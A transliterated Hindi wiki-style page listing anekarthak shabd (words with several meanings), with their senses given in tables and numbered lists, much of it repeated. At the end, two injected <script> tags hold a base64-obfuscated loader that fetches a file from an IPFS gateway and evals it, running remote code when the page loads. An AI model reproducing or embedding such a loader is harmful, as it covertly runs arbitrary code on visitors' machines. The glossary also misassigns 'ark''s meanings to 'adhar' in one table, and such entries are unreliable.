प्रयोग:Asha1
anekarthak shabd
‘anekarthak’ shabd ka abhipray hai, kisi shabd ke ek se adhik arth hona. bahut se shabd aise haian, jinake ek se adhik arth hote haian. aise shabdoan ka arth bhinn–bhinn prayog ke adhar par ya prasanganusar hi spasht hota hai. bhasha saushthav ki drishti se inaka b da mahattv hai.
udaharan
kr.san. | shabd | anekarth |
---|---|---|
1. | aank | sankhya ke aank, natak ke aank, god, adhyay, parichchhed, chihn, bhagy, sthan, patrika ka nanbar |
2. | aang | sharir, sharir ka koee avayav, aansh, shakha |
3. | aanchal | sira, pradesh, sa di ka palloo |
4. | aant | sira, samapti, mrityu, bhed, rahasy |
5. | aanbar | akash, vastr, badal, vishesh sugandhit drav jo jalaya jata hai |
6. | akshar | nasht n hone vala, a, a adi varn, eeshvar, shiv, moksh, brahm, dharm, gagan, saty, jiv |
7. | ark | soory, ak ka paudha, aushadhiyoan ka ras, kadha, indr, sphatik, sharab |
8. | akal | durbhiksh, abhav, asamay. |
9. | aj | brahma, bakara, shiv, mesh rashi, jisaka janm n ho (eeshvar) |
10. | arth | dhan, aishvary, prayojan, karan, matalab, abhipra, hetu (lie) |
11. | aksh | dhuri, aankh, soory, sarp, rath, mandal, jnan, pahiya, kil |
12. | ajit | ajey, vishnu, shiv, buddh, ek vishaila mooshak, jainiyoan ke doosare tirthankar |
13. | atithi | mehaman, sadhu, yatri, aparichit vyakti, agni |
14. | adhar | soory, ak ka paudha, aushadhiyoan ka ras, kadha, indr, sphatik, sharab |
15. | adhyaksh | vibhag ka mukhiya, sabhapati, iancharj |
16. | apavad | nianda, kalank, niyam ke bahar |
17. | apeksha | tulana mean, asha, avashyakata, ichchha |
18. | amrit | jal, doodh, para, svarn, sudha, mukti, mrityurahit |
19. | arun | lal, soory, soory ka sarathi, siandoor, sona |
20. | aruna | oosha, majith, dhuandhali, ativisha, indr, varuni |
21. | anant | simarahit, brahma, vishnu, shiv, sheshanag, lakshman, balaram, baanh ka abhooshan, akash, antahin |
22. | agr | age ka, shreshth, sira, pahale |
23. | abj | shankh, kapoor, kamal, chandrama, pady, jal mean utpann |
24. | amal | malarahit, karyanvayan, nasha-pani |
25. | avastha | umr, dasha, sthiti. |
26. | ashok | shokarahit, ek vriksh, samrat ashok |
kr.san. | shabd | anekarth |
---|---|---|
1. | akar | khan, kosh, srot |
2. | aram | bagicha, vishram, suvidha, rahat, rog ka door hona |
3. | adarsh | yogy, namoona, udaharan |
4. | am | samany, ek phal, mamooli, sarvasadharan |
5. | atma | buddhi, jivatma, brahm, deh, putr, vayu |
6. | ali | sakhi, pankti, rekha |
7. | atur | vikal, rogi, utsuk, ashakt. |
a | a | i | ee | u | e | ai | o | au | rri | k | kh | g | gh | ch | chh | j | jh | t | th | d | dh | n | t | th | d | dh | n | p | ph | b | bh | m | y | r | l | v | sh | shr | sh | s | h | ksh | tr | jn
37. indu – chandrama, kapoor. 38. eeshvar – prabhu, samarth, svami, dhanik. 39. ugr – kroor, bhayanak, kashtadayak, tivr. 40. uttar – javab, ek disha, badala, pashchatap. 41. utsarg – tyag, dan, samapti. 42. utpat – shararat, danga, ho-halla. 43. upachar – upay, seva, ilaj, nidan. 44. rrin – karj, dayitv, upakar, ghatana, ekata, ghatane ka booti vala patta. 45. kantak – kaanta, vighn, kilak. 46. kanchan – sona, kaanch, nirmal, dhan-daulat. 47. kanak – svarn, dhatoora, gehooan, vriksh, palash (tesoo). 48. kanya – kumari l daki, putri, ek rashi. 49. kala – aansh, ek vishay, kushalata, shobha, tej, yukti, gun, byaj, chatury, chaand ka solahavaan aansh. 50. kar – kiran, hath, sooand, karyadesh, taiks. 51. kal – mashin, aram, sukh, purja, madhur dhvani, shanti, bita hua din, ane vala din. 52. kaksh – kaankh, kamara, kachhauta, sookhi ghas, soory ki kaksha. 53. kartta – svami, karane vala, banane vala, granth nirmata, eeshvar, pahala karak, parivar ka mukhiya. 54. kalam – lekhani, kooanchi, pe d-paudhoan ki hari lak di, kanapati ke bal. 55. kali – kalad, duahkh, pap, char yugoan mean chautha yug. 56. kashipu – chataee, bichhauna, takiya, ann, vastr, shankh. 57. kal – samay, mrityu, yamaraj, akal, muhoort, avasar, shiv, yug. 58. kam – kary, naukari, silaee adi dhandha, vasana, kamadev, matalab, kriti. 59. kinara – tat, sira, parshv, hashiya. 60. kul – vansh, jo d, jati, ghar, gotr, sara. 61. kushal – chatur, sukhi, nipun, surakshit. 62. kuanjar – hathi, bal. 63. koot – niti, shikhar, shreni, dhanush ka sira. 64. koti – karo d, shreni, dhanush ka sira. 65. kosh – khajana, phool ka bhitari bhag. 66. kshudr – nich, kanjoos, chhota, tho da. 67. khand – tuk de karana, hissoan mean baantana, pratyakhyan, virodh. 68. khag – pakshi, ban, devata, chandrama, soory, badal. 69. khar – gadha, tinaka, dusht, ek rakshas, tikshn, dhatoora, dava kootane ki kharal. 70. khat – patr, likhaee, kanapati ke bal. 71. khal – dusht, chugalakhor, kharal, talachhat, dhatoora. 72. khechar – pakshi, devata, grah. 73. ganda – maila, ashlil, bura. 74. gad – ot, ghera, tila, antar, khaee. 75. gan – samooh, manushy, bhootapret, shiv ke anuchar, doot, sena. 76. gati – chal, halat, moksh, raphtar. 77. gaddi – chhota gadda, mahajan ki baithaki, shishy parampara, sianhasan. 78. gahan – gahara, ghana, durgam, jatil. 79. grahan – lena, soory v chand grahan. 80. gun – kaushal, shil, rassi, svabhav, visheshata, hunar, mahattv, tin gun (sat, tam v raj), pratyancha (dhanush ki dori). 81. guru – shikshak, b da, bhari, shreshth, brihaspati, dvimatrik akshar, poojy, achary, apane se b de. 82. gau – gay, bail, indriy, bhoomi, disha, ban, vajr, sarasvati, aankh, svarg, soory. 83. ghat – gh da, hriday, kam, sharir, kalash, kuanbh rashi. 84. ghar – makan, kul, karyalay, aandar samana. 85. ghan – badal, bhari hathau da, ghana, chhah satahi rekhaganitiy akriti. 86. gho da – ek prasiddh chaupaya, bandook ka khataka, shataranj ka ek mohara. 87. chakr – pahiya, bhram, kumhar ka chak, chakava pakshi, gol ghera. 88. chapala – lakshmi, bijali, chanchal stri. 89. chashma – ainak, jharana, srot. 90. chir – vastr, rekha, patti, chirana. 91. chhand – pad, vishesh, jal, abhipray, ved. 92. chhap – chhape ka chihn, aangoothi, prabhav. 93. chhava – bachcha, beta, hathi ka pattha. 94. jalaj – kamal, moti, machhali, chandrama, shankh, shaival, kaee, jalajiv. 95. jalad – badal, kapoor. 96. jaladhar – badal, samudr, jalashay. 97. javan – sainik, yoddha, vir, yuva. 98. janak – pita, mithila ke raja, utpann karane vala. 99. j d – achetan, moorkh, vriksh ka mool, nirjiv, mool karan. 100. jivan – jal, pran, ajivika, putr, vayu, jindagi. 101. tank – tol, chheni, kulha di, talavar, myan, paha di, dhal, krodh, darp, sikka, darar. 102. thas – bahut k da, bhari, ghani bunavat vala, kanjoos, alasi, hathi. 103. thokana – marana, pitana, prahar dvara bhitar dhansana, mukadama dayar karana. 104. dahakana – vanchana, chhalana, dhokha khana, phoot-phootakar rona, chiangha dana, phailana, chhana. 105. dharra – roop, paddhati, upay, vyavahar. 106. tang – sankara, pahanane mean chhota, pareshan. 107. tantu – soot, dhaga, resha, grah, santan, parameshvar. 108. tat – kinara, pradesh, khet. 109. tap – sadhana, garmi, agni, dhoop. 110. tam – andhakar, pap, ajnan, gun, tamal vriksh. 111. tarang – svar lahari, lahar, umang. 112. tari – nauka, kap de ka chhor, shoraba, tar hone ki avastha. 113. tarani – soory, uddhar. 114. tat – pita, bhaee, b da, poojy, pyara, mitr, shraddhey, guru. 115. tara – nakshatr, aankh ki putali, bali ki patni ka nam. 116. tir – kinara, ban, samip, nadi tat. 117. thap – thapp d, adar, samman, maryada, gaurav, chihn, tabale par hatheli ka aghat. 118. dand – saja, danda, jahaj ka mastool, ek prakar ki kasarat. 119. dakshin – dahina, ek disha, udar, saral. 120. darshan – dekhana, netr, akriti, darpan, darshan shastr. 121. dal – samooh, sena, patta, hissa, paksh, bhag, chi di. 122. dam – dhan, mooly, rassi. 123. dvij – pakshi, brahman, daant, chandrama, nakh, kesh, vaishy, kshatriy. 124. dhan – sampatti, stri, bhoomi, nayika, jo d milana. 125. dharm – svabhav, prakritik gun, kartavy, sanpraday. 126. dhananjay – vriksh, arjun, agni, vayu. 127. dhruv – atal saty, dhruv bhakt, dhruv tara. 128. dharana – vichar, buddhi, samajh, vishvas, man ki sthirata. 129. nag – parvat, nagina, vriksh, sankhya. 130. nag – sarp, hathi, nagakeshar, ek jati vishesh. 131. nayak – neta, margadarshak, senapati, ek jati, natak ya mahakavy ka mukhy patr. 132. nirriti – vipatti, mrityu, kshay, nash. 133. nirvan – moksh, mrityu, shoony, sanyam. 134. nishachar – rakshas, ulloo, pret. 135. nishan – dhvaja, chihn. 136. paksh – pankh, paankh, sahay, or, sharir ka arddh bhag. 137. pat – vastr, parda, daravaja, sthan, chitr ka adhar. 138. patr – chitthi, patta, rath, ban, shankh, pustak ka prishth. 139. padm – kamal, sarp vishesh, ek sankhya. 140. pad – paanv, chihn, vishesh, chhand ka chaturthaansh, vibhakti yukt shabd, upadhi, sthan, ohada, kadam. 141. patang – patianga, soory, pakshi, nav, u dane ka patang. 142. pay – doodh, ann, jal. 143. payodhar – badal, stan, parvat, ganna, talab. 144. pani – jal, man, chamak, jivan, lajja, varsha, svabhiman. 145. pushkar – talab, kamal, hathi ki sooand, ek tirth, pani mad. 146. prishth – pith, pichhe ka bhag, pustak ka pej. 147. pratyaksh – aankhoan ke samane, sidha, saph. 148. prakriti – svabhav, vatavaran, moolavastha, kudarat, dharm, rajy, khajana, svami, mitr. 149. prasad – kripa, anugrah, harsh, naivedy. 150. pran – jiv, pranavayu, eeshvar, brahm. 151. phal – labh, khane ka phal, seva, natija, labdhi, padarth, santan, bhale ki nok. 152. pher – ghumav, bhram, badalana, gid d. 153. bandhan – kaid, baandh, pul, baandhane ki chij. 154. batta – patthar ka tuk da, taul ka bat, kat. 155. bal – sena, takat, balaram, sahara, chakkar, maro d. 156. bali – balidan, upahar, danavir raja bali, chadhava, kar. 157. baji – gho da, ban, pakshi, chalane vala. 158. bal – balak, kesh, bala, daneyukt danthal (gehooan ki bal). 159. bijali – vidyut, t dati, kan ka ek gahana. 160. baithak – baithane ka kamara, baithane ki mudra, adhiveshan, ek kasarat. 161. bhav – sansar, utpati, shankar. 162. bhag – hissa, dau d, baantana, ek ganitiy sankriya. 163. bhujang – sarp, lampat, nag. 164. bhuvan – sansar, jal, log, chaudah ki sankhya. 165. bhriti – naukari, majadoori, vetan, mooly, vritti. 166. bhed – rahasy, prakar, bhinnata, phoot, tatpary, chhedan. 167. mat – sammati, dharm, vot, nahian, vichar, panth. 168. madar – mast hathi, suar, kamuk. 169. madhu – shahad, madira, chaitr mas, ek daity, basant rritu, parag, mitha. 170. man – samman, ghamand, roothana, map. 171. mitr – soory, dost, varun, anukool, sahayogi. 172. mook – gooanga, chup, vivash. 173. mool – j d, kand, pooanji, ek nakshatr. 174. moh – pyar, mamata, asakti, moorchchha, ajnan. 175. yantr – upakaran, bandook, baja, tala. 176. yukt – ju da hua, mishrit, niyukt, uchit. 177. yog – mel, lagav, man ki sadhana, dhyan, shubhakal, kul jo d. 178. rang – varn, nach-gan, shobha, manovinod, dhang, rob, yuddhakshetr, prem, chal, dasha, rangane ki samagri, nrity ya abhinay ka sthan. 179. ras – svad, sar, achchha dekhane se prapt anand, prem, sukh, pani, sharabat. 180. rag – prem rang, lal rang, sangit ki dhvani (rag). 181. rashi – samooh, mesh, kark, vrishchik adi rashiyaan. 182. renuka – dhool, prithvi, parashuram ki mata. 183. lakshy – nishana, uddeshy, lakshanarth. 184. lay – tan, lin hona. 185. lahar – tarang, umang, jhoanka, jhoomana. 186. lal – beta, ek rang, bahumooly patthar, ek gotr. 187. lava – ek pakshi, khil, lava. 188. van – jangal, jal, phooloan ka guchchha. 189. var – achchha, varadan, shreshth, uttam, pati (dulha). 190. varn – akshar, rang, roop, bhed, chaturvarny (brahman, kshatriy, vaishy v shoodr), jati. 191. var – din, akraman, prahar. 192. vritti – kary, svabhav, niyat, vyapar, jivika, chhatravritti. 193. vichar – dhyan, ray, salah, manyata. 194. vidhi – tarika, vidhata, kanoon, vyavastha, yukti, rakh, mahimamay, purush. 195. vivechan – tark-vitark, parikshan, sath-asath vichar, nirupan. 196. vyom – akash, badal, jal. 197. shakti – takat, arthavatta, adhikar, prakriti, maya, durga. 198. shiv – bhagyashali, mahadev, shrigal, dev, mangal. 199. shri – lakshmi, sarasvati, sampatti, shobha, kanti, koyal, adar soochak shabd. 200. sandhi – jo d, parasparik, yugoan ka milan, nishchit, seandh, natak ke kathaansh, vyakaran mean aksharoan ka mel. 201. sanskar – parishodhan, saphaee, dharmik krity, achar-vyavahar, man par p dane vale prabhav. 202. sambandh – rishta, jo d, vyakaran mean aksharoan ka mel-jol, chhatha karak. 203. sar – amrit, doodh, pani, talab, ganga, madhu, prithvi. 204. saral – sidha, eemanadar, khara, asan. 205. sadhan – upay, upakaran, saman, palan, karan. 206. sarang – ek rag, mor ki boli, chatak, mor, sarp, badal, hiran, papiha, rajahans, hathi, koyal, kamadev, sianh, dhanush, bhauanra, madhumakkhi, kamal, stri, dipak, vastr, hava, aanchal, gh da, kamadev, pani, rajasianh, kapoor, varn, bhooshan, pushp, chhatr, shobha, ratri, shankh, chandan. 207. sar – tattv, nishkarsh, ras, rasa, labh, dhairy. 208. sira – choti, aant, samapti. 209. sudha – amrit, jal, dugdh. 210. surabhi – sugandh, gau, basant rritu. 211. soot – dhaga, sarathi, gadhee. 212. sootr – soot, janeoo, goodh arth bhara sankshipt vaky, sanket, pata, niyam. 213. soor – soory, vir, aandha, sooradas. 214. saiandhav – gho da, namak, sindhuvasi. 215. hans – jiv, soory, shvet, yogi, mukt purush, eeshvar, sarovar ka pakshi (maral pakshi). 216. hansaee – hansi, ninda, badanami, upahas. 217. hay – gho da, indr. 218. hari – hathi, vishnu, iandr, paha d, sianh, gho da, sarp, vanar, medhak, yamaraj, brahma, shiv, koyal, kiran, hans, indr, vanar, krishna, kamadev, hava, chandrama. 219. hal – samadhan, khet jotane ka yantr, vyanjan varn. 220. hasti – hathi, astitv, haisiyat. 221. hit – bhalaee, lobh. 222. hin – din, rahit, nikrisht, tho da. 223. kshetr – tirth, khet, sharir, sadavrat dene ka sthan. 224. truti – bhool, kami, kasar, chhoti ilaichi ka paudha, sanshay, kal ka ek sookshm vibhag, aangahinata, pratijna-bhang, skand ki ek mata. 225. akshar= nasht n hone vala, varn, eeshvar, shiv. 226. arth= dhan, aishvary, prayojan, hetu. 227. aram= bag, vishram, rog ka door hona. 228. kar= hath, kiran, taiks, hathi ki sooan d. 229. kal= samay, mrityu, yamaraj. 230. kam= kary, pesha, dhandha, vasana, kamadev. 231. gun= kaushal, shil, rassi, svabhav, dhanush ki dori. 232. ghan= badal, bhari, hathau da, ghana. 233. jalaj= kamal, moti, machhali, chandrama, shankh. 234. tat= pita, bhaee, b da, poojy, pyara, mitr. 235. dal= samooh, sena, patta, hissa, paksh, bhag, chi di. 236. nag= parvat, vriksh, nagina. 237. payodhar= badal, stan, parvat, ganna. 238. phal= labh, meva, natija, bhale ki nok. 239. bal= balak, kesh, bala, daneyukt danthal. 240. madhu= shahad, madira, chait mas, ek daity, vasant. 241. rag= prem, lal rang, sangit ki dhvani. 242. rashi= samooh, mesh, kark, vrishchik adi rashiyaan. 243. lakshy= nishan, uddeshy. 244. varn= akshar, rang, brahman adi jatiyaan. 245. sarang= mor, sarp, megh, hiran, papiha, rajahans, hathi, koyal, kamadev, sianh, dhanush bhauanra, madhumakkhi, kamal. 246. sar= amrit, doodh, pani, ganga, madhu, prithvi, talab. 247. kshetr= deh, khet, tirth, sadavrat baantane ka sthan. 248. shiv= bhagyashali, mahadev, shrrigal, dev, mangal. 249. hari= hathi, vishnu, iandr, paha d, sianh, gho da, sarp, vanar, medhak, yamaraj, brahma, shiv, koyal, kiran, hans.
3. ♦ pramukh anekarthak shabd : 4. aank – sankhya ke aank, natak ke aank, god, adhyay, parichchhed, chihn, bhagy, sthan, patrika ka nanbar. 5. aang – sharir, sharir ka koee avayav, aansh, shakha. 6. aanchal – sira, pradesh, sa di ka palloo. 7. aant – sira, samapti, mrityu, bhed, rahasy. 8. aanbar – akash, vastr, badal, vishesh sugandhit drav jo jalaya jata hai. 9. akshar – nasht n hone vala, a, a adi varn, eeshvar, shiv, moksh, brahm, dharm, gagan, saty, jiv. 10. ark – soory, ak ka paudha, aushadhiyoan ka ras, kadha, indr, sphatik, sharab. 11. akal – durbhiksh, abhav, asamay. 12. aj – brahma, bakara, shiv, mesh rashi, jisaka janm n ho (eeshvar). 13. arth – dhan, aishvary, prayojan, karan, matalab, abhipra, hetu (lie). 14. aksh – dhuri, aankh, soory, sarp, rath, mandal, jnan, pahiya, kil. 15. ajit – ajey, vishnu, shiv, buddh, ek vishaila mooshak, jainiyoan ke doosare tirthankar. 16. atithi – mehaman, sadhu, yatri, aparichit vyakti, agni. 17. adhar – niradhar, shoony, nichala oshth, svarg, patal, madhy, nicha, prithvi v akash ke bich ka bhag. 18. adhyaksh – vibhag ka mukhiya, sabhapati, iancharj. 19. apavad – nianda, kalank, niyam ke bahar. 20. apeksha – tulana mean, asha, avashyakata, ichchha. 21. amrit – jal, doodh, para, svarn, sudha, mukti, mrityurahit. 22. arun – lal, soory, soory ka sarathi, siandoor, sona. 23. aruna – oosha, majith, dhuandhali, ativisha, indr, varuni. 24. anant – simarahit, brahma, vishnu, shiv, sheshanag, lakshman, balaram, baanh ka abhooshan, akash, antahin. 25. agr – age ka, shreshth, sira, pahale. 26. abj – shankh, kapoor, kamal, chandrama, pady, jal mean utpann. 27. amal – malarahit, karyanvayan, nasha-pani. 28. avastha – umr, dasha, sthiti. 29. akar – khan, kosh, srot. 30. ashok – shokarahit, ek vriksh, samrat ashok. 31. aram – bagicha, vishram, suvidha, rahat, rog ka door hona. 32. adarsh – yogy, namoona, udaharan. 33. am – samany, ek phal, mamooli, sarvasadharan. 34. atma – buddhi, jivatma, brahm, deh, putr, vayu. 35. ali – sakhi, pankti, rekha. 36. atur – vikal, rogi, utsuk, ashakt.
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>